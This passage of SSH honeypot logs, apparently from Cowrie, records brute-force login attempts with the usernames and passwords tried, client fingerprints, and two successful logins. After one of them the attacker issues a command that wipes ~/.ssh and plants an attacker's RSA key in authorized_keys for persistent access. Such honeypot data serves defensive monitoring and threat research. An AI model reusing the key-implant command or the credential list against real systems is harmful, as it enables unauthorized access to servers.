fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:24.893001Z","src_ip":"87.106.44.172","session":"f5b11d972a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mh123456","message":"login attempt [root/Mh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:25.208631Z","src_ip":"87.106.44.172","session":"f5b11d972a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:26.291497Z","src_ip":"87.106.44.172","session":"f5b11d972a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":33800,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c818c86947","protocol":"ssh","message":"New connection: 202.145.0.61:33800 (10.17.0.5:22) [session: d9c818c86947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:40.513407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:40.517446Z","src_ip":"202.145.0.61","session":"d9c818c86947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:40.750602Z","src_ip":"202.145.0.61","session":"d9c818c86947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123qwe","message":"login attempt [administrator/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:41.716873Z","src_ip":"202.145.0.61","session":"d9c818c86947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:42.954071Z","src_ip":"202.145.0.61","session":"d9c818c86947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40292,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2b9419ceb6","protocol":"ssh","message":"New connection: 103.15.226.202:40292 (10.17.0.5:22) [session: 8a2b9419ceb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:55.990883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:55.995915Z","src_ip":"103.15.226.202","session":"8a2b9419ceb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:56.240077Z","src_ip":"103.15.226.202","session":"8a2b9419ceb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@1m1gr4s12021!","message":"login attempt [root/Admin@1m1gr4s12021!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:56.973189Z","src_ip":"103.15.226.202","session":"8a2b9419ceb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:45:58.219421Z","src_ip":"103.15.226.202","session":"8a2b9419ceb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":50550,"dst_ip":"10.17.0.5","dst_port":22,"session":"858b143530b2","protocol":"ssh","message":"New connection: 87.106.44.172:50550 (10.17.0.5:22) [session: 858b143530b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:18.598139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:18.659817Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:18.740651Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ2wsx","message":"login attempt [oracle/!QAZ2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.177709Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.394237Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.398116Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.402601Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.486074Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.692883Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.696425Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.781209Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.785429Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bf1d48cfc0d","protocol":"ssh","message":"New connection: 87.106.44.172:50566 (10.17.0.5:22) [session: 6bf1d48cfc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.856972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.861860Z","src_ip":"87.106.44.172","session":"6bf1d48cfc0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:19.941206Z","src_ip":"87.106.44.172","session":"6bf1d48cfc0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:20.292247Z","src_ip":"87.106.44.172","session":"6bf1d48cfc0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.375275Z","src_ip":"87.106.44.172","session":"6bf1d48cfc0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":52468,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d6ff10b04f","protocol":"ssh","message":"New connection: 87.106.44.172:52468 (10.17.0.5:22) [session: b6d6ff10b04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.450543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.455024Z","src_ip":"87.106.44.172","session":"b6d6ff10b04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.537138Z","src_ip":"87.106.44.172","session":"b6d6ff10b04f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.891071Z","src_ip":"87.106.44.172","session":"b6d6ff10b04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.976789Z","src_ip":"87.106.44.172","session":"858b143530b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:21.982290Z","src_ip":"87.106.44.172","session":"b6d6ff10b04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12cddaea991","protocol":"ssh","message":"New connection: 202.145.0.61:50240 (10.17.0.5:22) [session: c12cddaea991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:35.500177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:35.504891Z","src_ip":"202.145.0.61","session":"c12cddaea991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:35.746697Z","src_ip":"202.145.0.61","session":"c12cddaea991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password1234567","message":"login attempt [deploy/password1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:36.736943Z","src_ip":"202.145.0.61","session":"c12cddaea991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:46:37.979845Z","src_ip":"202.145.0.61","session":"c12cddaea991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":34696,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd8140fee276","protocol":"ssh","message":"New connection: 87.106.44.172:34696 (10.17.0.5:22) [session: fd8140fee276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:13.542322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:47:13.657441Z","src_ip":"87.106.44.172","session":"fd8140fee276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-